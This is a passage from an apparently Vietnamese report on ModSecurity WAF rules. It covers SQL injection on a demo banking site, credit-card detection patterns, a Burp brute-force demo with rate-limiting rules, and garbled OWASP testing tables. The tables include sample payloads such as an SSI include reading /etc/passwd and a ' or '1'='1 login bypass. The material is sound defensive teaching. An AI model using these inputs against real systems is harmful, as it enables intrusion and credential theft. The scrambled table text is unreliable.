ASPSESSIONIDCCQCSRDQ=EHEPIKBBBFLOFIFOBPCJDBGP
Host: www.banking.com
Trong câu truy vấn SQL trên, hacker thu thập dữ liệu cá nhân của người dùng tại các table
được in đậm. Các rule trong nhóm khai thác SQL injection có thể chống lại dạng tấn công này,
nhưng cần chú ý rằng các rule phát hiện SQL injection chỉ ở chế độ theo dõi (Detect only). Sau -
khi câu truy vấn SQL được thực thi tại phía server, thì giá trị trả về người dùng vẫn chứa thông
tin của thẻ tín dụng (bao gồm: tên chủ thẻ,loại thẻ, số thẻ, thời gian sử dụng…).
Connection: close
53
Việc khai thác của hacker trong trường hợp này là thành công, số thẻ tín dụng được thay thế
bằng chuỗi NNNNN… trong phần thân HTML. Trong phiên bản ModSecurity CRS hiện tại có
hỗ trợ tập lệnh modsecurity_crs_25_cc_known.conf, bao gồm cấu trúc các mẫu thẻ tín dụng
phổ biến như GSA SmartPay, MasterCard, Visa, American Express, Diners Club, enRoute,
Discover, JCB:
# MasterCard
SecRule ARGS "@verifyCC (?:^|[^\d])(5[1-5]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-
?\d{4})(?:[^\d]|$)" \
# Visa
SecRule ARGS "@verifyCC (?:^|[^\d])(4\d{3}\-?\d{4}\-?\d{2}\-?\d{2}\-
?\d(?:\d{3})??)(?:[^\d]|$)" \
# American Express
SecRule ARGS "@verifyCC (?:^|[^\d])(3[47]\d{2}\-?\d{4}\-?\d{2}\-?\d{2}\-
?\d{3})(?:[^\d]|$)" \
Các rule này sử dụng @verifyCC operator để phân tích mẫu trong dữ liệu trả về phía người
dùng. Các thành phần tiếp theo trong rule sẽ xác định 4 ký tự đầu trong mã thẻ để xách định
loại thẻ tín dụng.
TX:ccdata. [file
"/opt/modsecurity/etc/crs/activated_rules/modsecurity_crs_25_cc_known.conf"] [line "80"]
[id "920010"] [msg "American Express Credit Card Number sent from site to user"]
[data "Start of CC #: 3723***..."][severity "ALERT"][tag "WASCTC/5.2"] [tag "PCI/3.3"]
[hostname "www.banking.com"][uri "/cart/loginexecute.asp"] [unique_id
"T6wAb38AAQEAAEltA7EAAAAB"]
Tham khảo DANH MỤC LỖ HỔNG BẢO MẬT OWASP 2010: Brute Force Testing
(OWASP AT 004)
- -
54
o modsecurity_crs_10_config.conf
o modsecurity_crs_11_brute_force.conf
Trong phần minh họa khai thác bruteforce, tôi sử dụng module Intruder trong phần mềm
Burp Suite. Module này cho phép người dùng tùy biến dữ liệu gói tin HTTP và sau đó thực
hiện gởi nội dung đến server.
Hình 12: Giao diện Burp Suite và nội dung đăng nhập Wordpress CMS
Trong phần đăng nhập như hình trên, tôi chỉ định tham số pwd sẽ là nơi thực hiện chèn các
giá trị password trong quá trình bruteforce.
55
56
Hình 14: Trang web thông báo password không chính xác
Do trang quản trị CMS không giới hạn số lần đăng nhập, nên danh sách password gồm 3424
chuỗi sẽ lần lượt thay thế vào biến pwd. Trong trường hợp người dùng sử dụng mật khẩu yếu,
thì việc tài khoản người dùng bị bẻ gãy xác thực là có thể.
Phòng chống:
Tập tin đầu tiên tôi cần cấu hình là modsecurity_crs_10_setup.conf, thực hiện xóa comment
trong rule 900014:
#
# If you are using the Brute Force Protection rule set, then uncomment the following
# Protected URLs: resources to protect (e.g. login pages) set to your login page
- -
# Burst Time Slice Interval: time interval window to monitor for bursts
-
SecAction \
"id:'900014', \
phase:1, \
t:none, \
setvar:'tx.brute_force_protected_urls=/wp-login.php', \
setvar:'tx.brute_force_burst_time_slice=60', \
setvar:'tx.brute_force_counter_threshold=10', \
setvar:'tx.brute_force_block_timeout=300', \
nolog, \
pass"
Tiếp theo, tôi thực hiện cấu hình tập tin modsecurity_crs_11_brute_force.conf
# This is a rate limiting rule set and does not directly correlate whether the
-
# we are only triggering an alert once/minute. You can adjust how often
# you want to receive status alerts by changing the expirevar setting below.
#
#
#
# skipAfter Checks
# 1. If the user has not defined any URLs for Brute Force Protection in the 10 config file
# 3. If the current IP address has already been blocked due to high requests
#
"phase:5,id:'981039',t:none,nolog,pass,skipAfter:END_BRUTE_FORCE_PROTECTION_CH
ECKS"
#
SecAction "phase:5,id:'981041',t:none,nolog,pass,setvar:ip.brute_force_counter=+1"
#
#
SecRule IP:BRUTE_FORCE_COUNTER "@gt %{tx.brute_force_counter_threshold}"
"phase:5,id:'981042',t:none,nolog,pass,t:none,setvar:ip.brute_force_burst_counter=+1,expirevar
:ip.brute_force_burst_counter=%{tx.brute_force_burst_time_slice},setvar:!ip.brute_force_coun
ter"
#
# Check the burst counter if greater than or equal to 2, then we set the IP
-
#
of Request Bursts:
%{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc
k=%{tx.brute_force_block_timeout}"
SecMarker END_BRUTE_FORCE_PROTECTION_CHECKS
Những rule này có tác dụng theo dõi việc đăng nhập tại trong wp login.php. Nếu cùng thời
-
điểm có nhiền hơn hai kết nối đăng nhập thì ModSecurity sẽ thực hiện hành động chặn kết nối
tạm thời trong 5 phút, đồng thời các cảnh báo sẽ được tạo ra trong log quản trị.
# of Request Bursts:
%{ip.brute_force_burst_counter}',setvar:ip.brute_force_block=1,expirevar:ip.brute_force_bloc
k=%{tx.brute_force_block_timeout}"
59
Hình 15: Modsecurity thực hiện chặn các truy vấn vượt mức quy định
60
T G
A N 2 Search Engine Discovery/Reconnaissance OWASP IG 002
M I
- -
F H
T
4 Testing for Web Application fingerprint OWASP IG 004
- -
N
I A
G
5 Application Discovery OWASP IG 005
- -
N N
I 8 DB Listener Testing OWASP CM 002
- -
O T
I S 9 Infrastructure Configuration Management OWASP CM 003
T E
- -
A T Testing
R T
U N 10 Application Configuration Management OWASP CM 004
- -
G
I E Testing
F M
N E 11 Testing for File Extensions Handling OWASP CM 005
- -
O G
C A 12 Old, backup and unreferenced files OWASP CM 006
N
- -
M Interface
G channel
N
I
T 16 Testing for user enumeration OWASP AT 002
- -
S
E 17 Testing for Guessable (Dictionary) User OWASP AT 003
- -
T Account
N
O
I 18 Brute Force Testing OWASP AT 004
- -
T
A 19 Testing for bypassing authentication schema OWASP AT 005
- -
C
I
T 20 Testing for vulnerable remember password OWASP AT 006
- -
U Management
A
22 Testing for CAPTCHA OWASP AT 008
- -
61
S G T
S A N 27 Testing for Session Fixation OWASP SM 003
E N
- -
T I O 30
Testing for Path Traversal OWASP AZ 001
- -
U R I
A O T N 31 Testing for bypassing authorization schema OWASP AZ 002
H A
- -
S
S G
E C N
I I
N I
S G T
S
U O
B L E
T
A
D
I 42 SSI Injection
OWASP DV 009
- -
V
A 44 IMAP/SMTP Injection OWASP DV 011
- -
T
A 45 Code Injection OWASP DV 012
- -
D
46 OS Commanding OWASP DV 013
- -
N F I N
I 51 Locking Customer Accounts OWASP DS 002
E O V T
- -
62
E I
S T
S
61 XML content level Testing
- OWASP WS 004
- -
A I
J T G
A S
E 66 AJAX Testing OWASP AJ 002
- -
T
63
DANH MỤC CÔNG CỤ HỖ TRỢ KIỂM TRA BẢO MẬT ỨNG DỤNG WEB
Windo http://www.sensepost.
Wikto
ws com/research/wikto/
http://www.nessus.or
Nikto Linux
g
A Java based web proxy for assessing web application
vulnerability. It supports editing/viewing HTTP/HTTPS
messages on-the-fly to change items such as cookies and
Web App Windo
Paros form fields. It includes a web traffic recorder, web spider,
Proxy ws
hash calculator, and a scanner for testing common web
application attacks such as SQL injection and cross-site
scripting.
Data Enables HTML-form tampering for penetration testing of
TamperIE
Tampering web apps
The Nessus vulnerability scanner, is the world-leader in
active scanners, featuring high speed discovery,
configuration auditing, asset profiling, sensitive data
Vulnerabilit
Nessus discovery and vulnerability analysis of your security
y Scanner
posture. Nessus scanners can be distributed throughout an
entire enterprise, inside DMZs, and across physically
separate networks.
64
65
66
DANH MỤC THAM KHẢO KHAI THÁC LỖ HỔNG BẢO MẬT ỨNG DỤNG WEB
67
Tamper Data
IG-004 Testing for N.A. WebServer Analyse the HTTP headers HTTP Print,
Web Details NetCraft
Application Enumeration
Fingerprint
IG-005 Application N.A. find Google for subdomain discovery, nMap,telnet,
Discovery Applications Network Tools nessus,
hosted in the host, Netcraft Sear
webserver, non ch DNS service,
standard ports, DNS Stuff Reverse
IP Lookup,
nslookup, wikto
IG-006 Analysis of Informa Grab Request random page, Login Failed, Software
Error Codes tion information Remove/add request Proxies, Wikto
Disclosure disclosed in parameters,Denied dir listing, Create
error codes network issues
Configur CM‐001 SSL/TLS SSL We Identify SSL service, ciphers, analyse nMap, Nessus,
ation Testing (SSL akness certificate expiry OpenSSL,
Manageme Version, SSLDigger
nt Testing Algorithms,
Key length,
Digital Cert.
Validity) - SSL
Weakness
CM‐002 DB Listener DB Liste For Intranet Stop Listener - DOS Attack, Hijack DB Integrigy
Testing - DB ner weak sites (reset pass), Info leakage (log rewrite), lsnrcheck,
Listener weak Info on Listener, DB & App Config LSNRCTL, TNS
Listener
68
.inc, .db)
CM‐006 Old, backup Old, bac Accessing Check for On-the-fly backup files HTTrack,Wikto
and kup and u and created, Check comments, Check JS /Nikto, Goolag,
unreferenced nreference downloading source code, Random guessing of Spike Proxy
files - Old, d files the backup files filename, Directory Listing, Search
backup and which can cached files
unreferenced escape the file
files restrictions
CM‐007 Infrastruct Access t Try to Directory and file enumeration, Webscarab,
ure and o Admin in exploit the Comments and links in source,
Application terfaces admin Reviewing server and application docs,
Admin functions such Alternative server port, Parameter
Interfaces - as User tampering, Seperation of duties check
Access to Allocation, Site
Admin design/layout,
interfaces Data
manipulation,
Configs
CM‐008 Testing for HTTP M Disable PUT, DELETE, CONNECT, Netcat,
HTTP ethods ena TRACE can be checked by using TamperIE,
Methods and bled, XST OPTIONS command, XST Testing- Inject Webscarab etc
XST - HTTP permitted, JS with Trace comman, XSRF Test-check
Methods HTTP Ver for HEAD /request
70
enabled, XST b
permitted,
HTTP Verb
Authenti AT-001 Credentials Credent Check referrer whether its HTTP or Wireshark,
cation transport over ials transp HTTPS, Check the method used Proxy
Testing an encrypted ort over a
channel - n encrypte
Credentials d channel
transport over
an encrypted
channel
AT-002 Testing for User en Enumerate Generic login error statement check, Webscarab
user umeration all possible return codes/parameter values,Page
enumeration - valid userids by Titles,Recovery msg, Userid guessing,
User interacting
enumeration with the
authentication
mechanism of
the application
AT-003 Testing for Guessab Default username and passwords Brutus, THC
Guessable le user acc check, App name as userid,name of app Hydra, Burp
(Dictionary) ount contacts,another account userid/email, Intruder, Cain &
User Account js Abel
- Guessable source,parameters,comments,username
user account /password generation,password policy
check,source code - harcoded pass
check, Config files check
71
AT-004 Brute Force Credent Dictionary, Search, Rule-Based (pswd Brutus, THC
Testing - ials Brute f masks) Bruteforce attacks Hydra, Burp
Credentials orcing Intruder, Cain &
Brute forcing Abel, John the
Ripper,
OPHCRACK,
Rainbow Tables
AT-005 Testing for Bypassi Forward Browsing, Param Webscarab
bypassing ng authent Modification,Session ID Predication
authentication ication sch (Session Hijacking), SQL Injection
schema - ema
Bypassing
authentication
schema
AT-006 Testing for Vulnera Understand Secret qns asked?,strength of secret
vulnerable ble remem the password qns,no of qns,no of password reset
remember ber passw reset attempts,whether new password is
password and ord, weak procedure, the emailed to primary emailid check.
pwd reset - pwd reset secret questions Should not cache the passwords
Vulnerable asked etc (remember me), Passwords stored in
remember permanent coookies should be hashed.
password, Autocomplete Off enabled.
weak pwd
reset
72
variables
76
AZ-003 Testing for Privileg vertical escal Testing for role/privilege manipulati Proxy Tools
Privilege e Escalatio ation when it is o - Manipulate the values of hidden
Escalation - n possible to acce variables , analyse the error messages
Privilege ss resources gra etc
Escalation nted to more pr
ivileged accoun
ts (e.g.,
acquiring admi
nistrative privil
eges for the app
lication), and to
horizontal esca
lation when it is
possible to acc
ess resources
granted to a si
milarly configu
red account (e.
g., in an online
banking applic
ation, accessing
information rel
ated to a differe
nt
user).
77
Business BL-001 Testing for Bypassa Bypass the *Understanding the application Automated
logic Business ble busine actual *Creating raw data for designing logical tools fails
testing Logic - ss logic workflow tests (Workflows, ACLs)
Bypassable required to *Designing the logical tests
business logic complete a *Standard prerequisites
process *Execution of logical tests
Data DV-001 Testing for Reflecte Check for 1. Detect input vectors. CAL9000,
Validation Reflected d XSS input 2. Analyze each input vector to detect po Rsnake XSSdb,
Testing Cross Site validation, try tential vulnerabilities XSSMe firefox
Scripting - out different 3. Replace the vector used to identify addon, XSS proxy,
Reflected XSS combinations XSS with the vector which can exploit WebScarab, Rat
of XSS vectors the vulnerability. proxy, Burp Proxy
DV-002 Testing for Stored Impacts 1.Input Forms CAL9000,
Stored Cross XSS *Hijacking anot 2.Analyze HTML code Hackvertor,
Site Scripting - her user's brow 3.Leverage Stored XSS with BeEF XSSProxy, BeEF,
Stored XSS ser 4.File Upload WebScarab
*Capturing sens
itive informatio
n viewed by ap
plication users
*Pseudo deface
ment of the app
lication
*Port scanning
of internal host
s ("internal" in
relation to the
users of the we
b application)
78
*Directed delive
ry of browser‐
based exploits
*Other maliciou
s activities
DV-003 Testing for DOM XS This happens Test for the user Automated
DOM based S mostly due to inputs obtained from client‐ tools fails
Cross Site poor javascript side JavaScript objects
Scripting - coding.
DOM XSS
DV-004 Testing for Cross Si Working for 1.Decompile SWFIntruder,
Cross Site te Flashing actionscript 2.0 2.Undefined Variables Flare, Flasm
Flashing - files 3.Unsafe methods
Cross Site 4.Include malicious SWF
Flashing
79
for Ruby on
Rails, EZPDO
for PHP and
many
others.
DV-008 XML XML Inj Check with XML Meta Characters
Injection - ection ', " , <>, <!--/-->, &, <![CDATA[ / ]]>,
XML Injection
DV-009 SSI SSI Inje * Presense of .shtml extension Burp Suit,
Injection - SSI ction * Check for these characters WebScarab, Paros
Injection < ! # = / . " - > and [a-zA-Z0-9]
* include String = <!--#include
virtual="/etc/passwd" -->
DV-010 XPath XPath I Unlike SQL, * Check for XML error enumeration
Injection - njection there are not by supplying a single quote (')
XPath ACLs enforced, * Username: ' or '1' = '1
Injection as our query Password: ' or '1' = '1
can access
every part of
the XML
document
81
82
avoid this.
84
overflow has
occurred,
attempt to
make another
request to the
server and see
if it still
responds.
DS-004 User User Sp If the
Specified ecified Obj application does not pose an upper limit
Object ect Allocat to the number of items that can be in
Allocation - ion any given moment inside the user
User Specified electronic
Object cart, you can write an automated script
Allocation that keeps adding items to the user cart
until the cart object fills the server
memory.
DS-005 User Input User In if the user can directly or indirectly
as a Loop put as a Lo assign a value that will be
Counter - User op Counte used as a counter in a loop function, this
Input as a r can cause performance problems on the
Loop Counter server.
85
86
87
88
89
90
Open Source Web Application Firewall . S.l.: Feisty Duck, 2010. Web
Manual>.
OWASP Testing Guide . 3rd ed. N.p.: OWASP Foundation, n.d. OWASP
91